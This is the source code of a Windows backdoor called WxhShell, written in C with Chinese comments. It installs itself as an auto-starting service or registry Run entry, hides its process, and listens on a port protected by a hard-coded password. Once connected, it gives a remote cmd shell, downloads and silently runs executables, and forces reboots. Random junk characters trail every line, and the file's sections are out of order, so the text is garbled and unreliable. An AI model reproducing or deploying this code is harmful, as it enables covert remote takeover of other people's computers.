    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); "eI">`!g  
    if(Boot(SHUTDOWN)) l_fERp#y  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W61:$y}8  
    else { (e3?--~b6  
    closesocket(wsh); #QW% ;^  
    ExitThread(0); v^ 1x}  
    } !V/p.O  
    break; X4"[,:Tw  
    } :m("oC@}  
  // 获取shell :5:_Dr<  
  case 's': { |8\et  
    CmdShell(wsh); n>%TIoY  
    closesocket(wsh); eT8h:+k  
    ExitThread(0); ,qhv(  
    break; 24Htr/lPCT  
  } 1 EHNg<J(  
  // 退出 w Qp{z  
  case 'x': { _3gF~qr  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dW#l3_'3T  
    CloseIt(wsh); y{nX 6  
    break; 9(BB>o54r  
    } o2LUB)=R'  
  // 离开 <Q.-WV]Z  
  case 'q': { `=8G?3  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); U9RpHh`  
    closesocket(wsh); jLBwPI_g  
    WSACleanup(); o5NrDDH  
    exit(1); );^{;fLy%  
    break; VF9-&HuC  
        } ||4++84{  
  } y(Q.uYz*  
  } [_p&,$z8[  
(' i_Xe  
  // 提示信息 79U 7<]-!  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); d.NB@[?*  
} _\FA}d@N  
  } y;HJ"5.Mw  
7JP.c@s  
  return; Zg!E}B:z  
} 55`cNZ  
}@g#S@o  
// shell模块句柄 f/=H#'+8  
int CmdShell(SOCKET sock) ;[-y>qU0  
{ N,`<:'  
STARTUPINFO si; , p r ",=  
ZeroMemory(&si,sizeof(si)); U,$^| Iz  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =v=H{*dWA  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GoKMi[b  
PROCESS_INFORMATION ProcessInfo; ?s: 2~Qlu  
char cmdline[]="cmd"; |7G=f9V  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); " gi 1{  
  return 0; ]b@:?DX8  
} ((Wq  
I4 4bm?[S  
// 自身启动模式 t`A5wqm  
int StartFromService(void) qd?k#Gw&  
{ %5 ?0+~  
typedef struct h&?tF~h  
{ SyR[G*djl  
  DWORD ExitStatus; _l.kbfp@  
  DWORD PebBaseAddress; l@%7] 0!T  
  DWORD AffinityMask; D,'@b+B[  
  DWORD BasePriority; C Eb .?B  
  ULONG UniqueProcessId; lD)QB!*v  
  ULONG InheritedFromUniqueProcessId; Q,xKi|$r  
}   PROCESS_BASIC_INFORMATION; ehls:)F  
)Y,>cg:z~  
PROCNTQSIP NtQueryInformationProcess; y]E ?\03"  
,0[h`FN  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; LgS.%Mn  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ^'aMp}3iu  
`=~d^wKYJ3  
  HANDLE             hProcess; 9Z_98 Rh  
  PROCESS_BASIC_INFORMATION pbi; V9kL\Ys  
dg42K`E  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); nc%ly *  
  if(NULL == hInst ) return 0; c- ^\YSDMN  
o@G <[X|ke  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); _&6&sp<n  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); To19=,:  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); m/W)IG>  
%y;Cgo[  
  if (!NtQueryInformationProcess) return 0; F>A&L8  
kculHIa\.  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pUaGrdGxzQ  
  if(!hProcess) return 0; A ZYu/k  
ySwvjP7f  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; #N"K4@]{  
c>RS~/Y  
  CloseHandle(hProcess); ~*h` ?A0  
h+h`0(z  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); iw^(3FcP@C  
if(hProcess==NULL) return 0; bPtbU :G  
QA&BNG  
HMODULE hMod; 8z, |N#  
char procName[255]; ByPzA\;e  
unsigned long cbNeeded; @[4Tdf  
)fz<n$3|$#  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); C/Dc1sj  
gyW##M@{  
  CloseHandle(hProcess); t,K_!-HX+  
?Y#0Je  
if(strstr(procName,"services")) return 1; // 以服务启动 ,-*oc>  
^g2p!7  
  return 0; // 注册表启动 #b4Pn`[   
} @l:\Ka~TS  
u;*Wc9>sU  
// 主模块 &Rx-zp&dJ  
int StartWxhshell(LPSTR lpCmdLine) ISuye2tExq  
{ +9mnxU>  
  SOCKET wsl; OQON~&~  
BOOL val=TRUE; 85 tQHm6j  
  int port=0; %maLo RJ  
  struct sockaddr_in door; ;yO7!{_  
+<P%v k  
  if(wscfg.ws_autoins) Install(); ')/yBH9mR  
Dh|8$(Jt  
port=atoi(lpCmdLine); =@>[  
XZeZqBr  
if(port<=0) port=wscfg.ws_port; Td5;bg6Qy  
VL/%D*  
  WSADATA data; fK|F`F2V  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; *gC6yQ2?  
fN TPW]  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   :8bz+3p  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); r9@Q="J_)  
  door.sin_family = AF_INET; GJY7vS^#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); cM;& $IjCt  
  door.sin_port = htons(port); ^L(}cO  
iS^IqS  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { /CAi%UH,F  
closesocket(wsl); S&@uY#_(*T  
return 1; xhIC["z5  
} KN;b+`x;M  
hYW<4{Gjr  
  if(listen(wsl,2) == INVALID_SOCKET) { DM%4 V|F"  
closesocket(wsl); PZRm.vC)k  
return 1; b:nHcxDU<  
} i# 1:DiF  
  Wxhshell(wsl); <5Jp2x#  
  WSACleanup(); .h2K$(/  
WX} "Pj/6  
return 0; 47xJ(yO  
~'e/lX9g-  
} gNO<`9q  
0FF x  
// 以NT服务方式启动 E{*~>#+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <[2]p\rj  
{ eM*@zo<-  
DWORD   status = 0; j|&?BBa9  
  DWORD   specificError = 0xfffffff; m1X0stFRs"  
H1'`* }V  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ~bCn%r2  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; L "L@4 B  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; n; 0bVVMV  
  serviceStatus.dwWin32ExitCode     = 0; 3 n/U4fn_  
  serviceStatus.dwServiceSpecificExitCode = 0; 2!/_Xh  
  serviceStatus.dwCheckPoint       = 0; ;9pOtr  
  serviceStatus.dwWaitHint       = 0; ~B%=g)w  
H/p<lp  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); \ qc 8;"@  
  if (hServiceStatusHandle==0) return; e}?#vTRI}  
8]Xwj].^C  
status = GetLastError(); gd6We)&  
  if (status!=NO_ERROR) m?G}%u  
{ EAcJ>  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; iO;q]  
    serviceStatus.dwCheckPoint       = 0; DT_HG|  
    serviceStatus.dwWaitHint       = 0; k, )7v  
    serviceStatus.dwWin32ExitCode     = status; ANy=f-V  
    serviceStatus.dwServiceSpecificExitCode = specificError; AfG!(AF`  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y%b 5{1  
    return; ?]081l7cd  
  } CE>RAerY  
sT9P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; /H=fK  
  serviceStatus.dwCheckPoint       = 0; )FM/^  
  serviceStatus.dwWaitHint       = 0; l|`%FB^k  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); UB]} j^  
} C26PQGo#$  
^.F@yo2}  
// 处理NT服务事件,比如:启动、停止 g83!il\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) )p>BN|L  
{ 7'_zJI^  
switch(fdwControl) AG2iLictv  
{ Ep0L51Q  
case SERVICE_CONTROL_STOP: P.P3/,  
  serviceStatus.dwWin32ExitCode = 0; Rx*T7*xg{  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3_2(L"S2  
  serviceStatus.dwCheckPoint   = 0; |,j6cFNw  
  serviceStatus.dwWaitHint     = 0; .!Kdi|a)  
  { *usfJ-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); _JA.~edqM  
  } \Nu(+G?e  
  return;  gM20n^  
case SERVICE_CONTROL_PAUSE: KUVsCmiT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; dWE[*a\g  
  break; J4h7] qt  
case SERVICE_CONTROL_CONTINUE: uAR!JJ  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; FfN==2:b  
  break; ehI*cf({  
case SERVICE_CONTROL_INTERROGATE: Qw.""MLmN8  
  break; dRyK'Xr  
}; 0O?B!Jr]RM  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); X&h4A4#P  
} w*r.QzCu,5  
X~Uvh8O  
// 标准应用程序主函数 w-R>g dm  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `~[zIq:}7  
{ Deq~"  
A?q[C4-BO,  
// 获取操作系统版本 A0yRA+  
OsIsNt=GetOsVer(); }%[TJ@R;  
GetModuleFileName(NULL,ExeFile,MAX_PATH); B5u0 6O  
=M)>w4-  
  // 从命令行安装 l/`<iG%  
  if(strpbrk(lpCmdLine,"iI")) Install(); h{S';/=8  
QfB \h[A  
  // 下载执行文件 f3s0.G#l  
if(wscfg.ws_downexe) { x`w 4LF  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /yyed{q  
  WinExec(wscfg.ws_filenam,SW_HIDE); db:b%1hk:  
} 1agyT  
r80w{[S$  
if(!OsIsNt) { <O&L2E @~f  
// 如果时win9x,隐藏进程并且设置为注册表启动 9]BpP0f\  
HideProc(); ^<$d Tr'  
StartWxhshell(lpCmdLine); fQlR;4QX]  
} _L(6F T J  
else -*k%'Gr  
  if(StartFromService()) #O z<<G<  
  // 以服务方式启动 g/W<;o<v(I  
  StartServiceCtrlDispatcher(DispatchTable); cUaLv1:HI  
else R~CQ=KQ.  
  // 普通方式启动 {*As-Y:'F  
  StartWxhshell(lpCmdLine); 07Yh  
|]HU$Gt S  
return 0; |:`f#H  
} BKIAc6  
"{&\nt  
eHi|_3A&*  
mKtZ@r)u  
=========================================== (tP>z+  
.GM&]Hb  
x:O?Fj  
.t4IR =Z  
z)=D&\HX  
/OK.n3Tt  
" R:x4j#(  
*Eu ca~%=  
#include <stdio.h> ,<%Y.x%4z[  
#include <string.h> ` #A&v  
#include <windows.h> 3 zp)!QJi  
#include <winsock2.h> }XWic88!~  
#include <winsvc.h> /}-]n81m  
#include <urlmon.h> {7[^L1  
S3i%7f^C?N  
#pragma comment (lib, "Ws2_32.lib") EQ8jxr<p  
#pragma comment (lib, "urlmon.lib") WZ'8{XY8  
@a)@1:=Rm  
#define MAX_USER   100 // 最大客户端连接数 kYl$V =  
#define BUF_SOCK   200 // sock buffer mfQQ<Q@  
#define KEY_BUFF   255 // 输入 buffer 2I(0EBW  
,Ww)>O+  
#define REBOOT     0   // 重启 nM34zVy  
#define SHUTDOWN   1   // 关机 OljUK,I]  
6 9ia #  
#define DEF_PORT   5000 // 监听端口 bdk"7N  
vUR{!`14  
#define REG_LEN     16   // 注册表键长度 ^q_0(Vf  
#define SVC_LEN     80   // NT服务名长度 1]aM)},  
mQtGE[  
// 从dll定义API ^E8&!s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); oU% rP  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &OK(6o2m;  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); NZ/gp"D?  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Kjc"K36{L  
\$T  
// wxhshell配置信息 )t9<cJ=  
struct WSCFG { 2PE|4zG  
  int ws_port;         // 监听端口 HvN!_}[  
  char ws_passstr[REG_LEN]; // 口令 _-x|g~pV*  
  int ws_autoins;       // 安装标记, 1=yes 0=no }RYr)  
  char ws_regname[REG_LEN]; // 注册表键名 Zk"'x,]#  
  char ws_svcname[REG_LEN]; // 服务名 ! pR&&uG  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 J"yO\Y  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >B U 0B  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 thDQ44<#)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no s[NkPh9&  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" kjfZ*V=-  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 HsGXb\  
#Z)e]4{!l  
}; m{x[q  
hU3c;6]3  
// default Wxhshell configuration L&MR%5  
struct WSCFG wscfg={DEF_PORT, WW\u}z.QJ  
    "xuhuanlingzhe", C$SuFL(pb  
    1, g2JNa?z  
    "Wxhshell", [U]U *x  
    "Wxhshell", v{$X2z_$w  
            "WxhShell Service", /qed_w.p  
    "Wrsky Windows CmdShell Service", 57*z0<  
    "Please Input Your Password: ", #Gx%PQ`  
  1, QxH%4 )?  
  "http://www.wrsky.com/wxhshell.exe", R22YKXU  
  "Wxhshell.exe" 7/a[;`i*!  
    }; 0z #'=XWk  
)."_i64  
// 消息定义模块 6x)7=_:0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; P{i\x#  
char *msg_ws_prompt="\n\r? for help\n\r#>"; M' e<\wqm  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; m.pB]yq&  
char *msg_ws_ext="\n\rExit."; f <fa +fB  
char *msg_ws_end="\n\rQuit."; %B}Q.'  
char *msg_ws_boot="\n\rReboot..."; ~ P"@^cq  
char *msg_ws_poff="\n\rShutdown..."; 6O bB/*h  
char *msg_ws_down="\n\rSave to "; {mrTpw  
;e4 15T  
char *msg_ws_err="\n\rErr!"; 9+ nB;vA  
char *msg_ws_ok="\n\rOK!"; Ci4`,  
m~'!  
char ExeFile[MAX_PATH]; Yrs7F.Y"  
int nUser = 0; aY}:9qBice  
HANDLE handles[MAX_USER]; )=;GQ*<8Zs  
int OsIsNt; Wf/r@/ q  
%O B:lAeJ  
SERVICE_STATUS       serviceStatus; 1PpZ*YK3z  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; V zuW]"  
uf]S PG#/D  
// 函数声明 <k!M+}a 9V  
int Install(void); #<s6L"Z-  
int Uninstall(void); 2 -72 8  
int DownloadFile(char *sURL, SOCKET wsh); W@`2+}  
int Boot(int flag); {^=T&aCYdS  
void HideProc(void); "s]r"(MX  
int GetOsVer(void); T\I}s"d  
int Wxhshell(SOCKET wsl); XLb lVi@  
void TalkWithClient(void *cs); g>-pC a  
int CmdShell(SOCKET sock); 3O7]~5 j1  
int StartFromService(void); qq.M]?Z  
int StartWxhshell(LPSTR lpCmdLine); S[J eW  
3u#bx1  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); U$v|c%6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); CuC1s>  
 a?S5 =  
// 数据结构和表定义 E-IVv  
SERVICE_TABLE_ENTRY DispatchTable[] = N;4bEcWjp  
{ nF>41 K  
{wscfg.ws_svcname, NTServiceMain}, kH~ z07:  
{NULL, NULL} w=:o//~6j  
}; O 7RIcU  
)12.W=p  
// 自我安装 {,NGxqhE  
int Install(void) JJ_b{ao<  
{ 3n;>k9{  
  char svExeFile[MAX_PATH]; ]xC#XYE:dy  
  HKEY key; w\,N}'G  
  strcpy(svExeFile,ExeFile); ]<L(r,@,  
k#F |  
// 如果是win9x系统,修改注册表设为自启动 s|F}Abx,^  
if(!OsIsNt) { /Cy4]1dw  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { mSLA4[4{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 7]W6\Z  
  RegCloseKey(key); (rqc_ZU5  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 7OAM  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); b .I_  
  RegCloseKey(key); N8x[8Rp  
  return 0; xfoQx_]$Im  
    } p 4_j>JPv5  
  } ~MWI-oK  
} g>G+?PY  
else { uN>JX/-  
oCfO:7  
// 如果是NT以上系统,安装为系统服务 GT.1,E ,Vw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6&| hpp#[  
if (schSCManager!=0) Y`F)UwKK  
{ J,4,#2M8  
  SC_HANDLE schService = CreateService QO2@K1Y  
  ( (xpt_]Q!H  
  schSCManager, J^<Gi/:*^  
  wscfg.ws_svcname, fF6bEJl3  
  wscfg.ws_svcdisp, /]j^a:#"6t  
  SERVICE_ALL_ACCESS, ~,ZU+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , P.bxq50  
  SERVICE_AUTO_START, r$[`A_  
  SERVICE_ERROR_NORMAL, e}dGK=`  
  svExeFile, ,w`g + 9v  
  NULL, >~@O\n-t  
  NULL, m)AF9#aT2  
  NULL, !/nXEjW?  
  NULL, Q^\m@7O :  
  NULL SR%k|YT  
  );  :o~]FVf  
  if (schService!=0) aVB/Co M9  
  { $UNC0 (4  
  CloseServiceHandle(schService); m tU{d^B  
  CloseServiceHandle(schSCManager); Q g~cYwX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); |RjAp.pm  
  strcat(svExeFile,wscfg.ws_svcname); nQGl]2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { Ft E5H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Zd5Jz+f  
  RegCloseKey(key); '9{`Czc(Gb  
  return 0; R2Es~T  
    } -pmb-#`M  
  } i<0_sxfUD  
  CloseServiceHandle(schSCManager); m)7Ql!l  
} vB74r]'F  
} !3F3E8%  
Su/8P[q_  
return 1; {W+IUvn  
} 6VUs:iO1j5  
KH$|wv  
// 自我卸载 s&hJ[$i  
int Uninstall(void) JBhM*-t(M1  
{ k5M5bH',  
  HKEY key; IOA2/ WQu  
xU/7}='T  
if(!OsIsNt) { |kY}G3/  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M*!WXQlud  
  RegDeleteValue(key,wscfg.ws_regname); 7|5X> yt  
  RegCloseKey(key); Ii9[[I  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { F f{,zfN+3  
  RegDeleteValue(key,wscfg.ws_regname); BLN|QaZ  
  RegCloseKey(key); dGyrzuPJ  
  return 0; D@2L<!\  
  } arIEd VfNa  
} Gv[s86AP,  
} 1=Z!ZY}}e  
else { 3Ccy %;  
7}:+Yx  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); 1 |  
if (schSCManager!=0) Brts ig,4  
{ WNY:HH  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); NnH]c+  
  if (schService!=0) NSa6\.W)  
  { zO`4W!x&  
  if(DeleteService(schService)!=0) { 1:JwqbZKJ  
  CloseServiceHandle(schService); [#=IKsO'R6  
  CloseServiceHandle(schSCManager); ZDG~tCh=@  
  return 0; l`uI K.  
  } hkb&]XWi[  
  CloseServiceHandle(schService); 9tX+n{i  
  } Zg$S% 1(Q  
  CloseServiceHandle(schSCManager); vgE -t  
} )I#{\^  
} mC0_rN^Aj  
q<j9l'dHG  
return 1; wn^#`s!]U  
} Oa2\\I  
+Xp1=2Mq  
// 从指定url下载文件 zuu<;^/R  
int DownloadFile(char *sURL, SOCKET wsh) :YQI1 q[6  
{ br^ A<@,d  
  HRESULT hr; &~Pk*A_:  
char seps[]= "/"; ,Nt^$2DZW  
char *token; VKkvf"X  
char *file; MuJP.]5>`  
char myURL[MAX_PATH]; a:8 MoH4  
char myFILE[MAX_PATH]; ;4U"y8PVTh  
m]vS"AdX  
strcpy(myURL,sURL); X%)~i[_DV  
  token=strtok(myURL,seps); 8>@JW]  
  while(token!=NULL) jST4O"DjM  
  { 35Fxzj $  
    file=token; Vm8@ LA  
  token=strtok(NULL,seps); )X;051Q  
  } j+fib} 8}  
`Xz!apA  
GetCurrentDirectory(MAX_PATH,myFILE); G^N@ r:RS  
strcat(myFILE, "\\"); 4Q/{lqG  
strcat(myFILE, file); OP<N!y?[  
  send(wsh,myFILE,strlen(myFILE),0); "u]&~$  
send(wsh,"...",3,0); GeDI\-  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ,]:Gn5~  
  if(hr==S_OK) ~`Rar2%B  
return 0; ?JG^GD7D  
else D2g/P8.<A  
return 1; DF_wMv:>^  
GGnlkp& E  
} /o%VjP"<  
obE8iG@H  
// 系统电源模块 }zks@7kf  
int Boot(int flag) Unv'm5/L  
{ |_ +#&x  
  HANDLE hToken; AT)b/ycC  
  TOKEN_PRIVILEGES tkp; $|xSM2  
n\)1Bz  
  if(OsIsNt) { <}:` Y"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  z3]W #  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d!w3LwZ  
    tkp.PrivilegeCount = 1; u7^(?"x  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ;W+8X-B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);  63 'X#S  
if(flag==REBOOT) { MT"&|Og  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )=sbrCl,C/  
  return 0; 4e/!BGkAS  
} xL1Li]fM!'  
else { S.4+tf 7+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) -uWV( ,|  
  return 0; Xp_m=QQsm  
} {g#4E0.A!  
  } H0#=oJr$)W  
  else { ]iGeqwT  
if(flag==REBOOT) { {aNpk,n  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R|}N"J_  
  return 0; 1cv~_jFh  
} gs;^SRE I  
else { 0Dna+V/jI  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) g9q}D-  
  return 0; O >pv/Ns  
} hVmnXT 3Z  
} &oMWs]0  
a/\{NHs6"5  
return 1; }^iqhUvT F  
} RYA@{.O  
!b7"K|  
// win9x进程隐藏模块 }dop]{RG  
void HideProc(void) Y*$>d/E  
{ I-Z|FKh_C  
vue^bn  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); * eC[74Kng  
  if ( hKernel != NULL ) \7i_2|w  
  { ;<N:!$p  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); }mXYS|{  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); QOo'Iv+EL  
    FreeLibrary(hKernel); 'St6a*  
  } ) PTvw>  
Go)g}#.&  
return; G/Nc@XG\  
} r":anR( ;  
6IG?t  
// 获取操作系统版本 B Z|A&;  
int GetOsVer(void) &G\mcstX  
{ F'b%D  
  OSVERSIONINFO winfo; ,#UZp\zZ*  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); z,4mg6gt  
  GetVersionEx(&winfo); ' {UKO7   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) J6n>{iE  
  return 1; T"[]'|'  
  else HB8s[]A:D  
  return 0; Mn(iAsg  
} uyxYCc  
g/JF(nkP  
// 客户端句柄模块 A$3Rbn}"  
int Wxhshell(SOCKET wsl) 1'\QD`M9^  
{ X0u,QSt' O  
  SOCKET wsh; P2a5<#_|  
  struct sockaddr_in client; nq]6S$3 6  
  DWORD myID; tLWw< )t  
Bj1%}B  
  while(nUser<MAX_USER) R ,qQC<  
{ ];LFv5"  
  int nSize=sizeof(client); 0mujf  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WA8<:#{e  
  if(wsh==INVALID_SOCKET) return 1; @wgd 3BU  
]~I+d/k d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~_vSMX  
if(handles[nUser]==0) Ztg_='n  
  closesocket(wsh); \~ChbPnc  
else \"oZ\_  
  nUser++; x{SlJ%V  
  } T:$^1"\  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); WJOoDS!i  
(MI>7| ';  
  return 0; \4q|Qno8  
} qK a}O*  
GYfOwV!zB  
// 关闭 socket &\N>N7/1  
void CloseIt(SOCKET wsh) teg5g|*  
{ HCs^?s8Pp  
closesocket(wsh); gHLI>ew*QR  
nUser--; JP5e=Z<  
ExitThread(0); E(P 6s;LZ  
} FKTF?4+\U  
;"Kgg:K>W  
// 客户端请求句柄 5, 1<A@H  
void TalkWithClient(void *cs) 8x U*j  
{ -!Myw&*\V  
A/>Q5)  
  SOCKET wsh=(SOCKET)cs; a)JXxst  
  char pwd[SVC_LEN]; g[O?wH-a  
  char cmd[KEY_BUFF]; d fj23+  
char chr[1]; n"Ie>  
int i,j; +:.Jl:fx4  
"Gp[.=.z?  
  while (nUser < MAX_USER) { 985F(r  
HE,L8S  
if(wscfg.ws_passstr) { K:a8}w>Up  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); sQa;l]O:NC  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 2bNOn%!  
  //ZeroMemory(pwd,KEY_BUFF); Cf=H~&`Z  
      i=0; [i`  
  while(i<SVC_LEN) { LpU}.  
V:kRr cX  
  // 设置超时 .J)TIc__|A  
  fd_set FdRead; T;/GHC`{Y  
  struct timeval TimeOut; `FMo; ,j  
  FD_ZERO(&FdRead); ?8-!hU@QC  
  FD_SET(wsh,&FdRead); 'q-q4 QCB  
  TimeOut.tv_sec=8; z l@^[km{  
  TimeOut.tv_usec=0;  2h   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J,yKO(}<C  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); (`.OS)&  
XP@dg4Z=z  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ,Z@#( =f  
  pwd=chr[0]; R+M=)Z  
  if(chr[0]==0xd || chr[0]==0xa) { g#J aw|N  
  pwd=0; 35& ^spb  
  break; a{]=BY oL  
  } b_31 \  
  i++; vFVUdxPOw  
    } e^Zm09J  
VI2lw E3  
  // 如果是非法用户,关闭 socket fHup&|.  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 4!/JN J  
} UphTMyn3  
<kK>C8+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 7AV{ h[J  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2tq2   
uQ5h5Cfz  
while(1) { -F~DOG%  
;5j|B|v  
  ZeroMemory(cmd,KEY_BUFF); %":3xj'EEI  
IL].!9  
      // 自动支持客户端 telnet标准   Z+El(f x  
  j=0; VL9wRu;  
  while(j<KEY_BUFF) { {]HiTpn  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); _ Op%H)  
  cmd[j]=chr[0]; &kg^g%%  
  if(chr[0]==0xa || chr[0]==0xd) { NKO"'   
  cmd[j]=0; }`"}eN @,  
  break; 0^ODJ7  
  } j<t3bM-G  
  j++; :,l7e  
    } a: "1LnvR  
rOSov"7  
  // 下载文件 Y!<m8\  
  if(strstr(cmd,"http://")) { ,X?/FAcb  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); +F; 2FD$  
  if(DownloadFile(cmd,wsh)) Cr5ND\  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 4[gmA  
  else +:FXtO>n"  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~:a1ELqVw  
  } z#tIa  
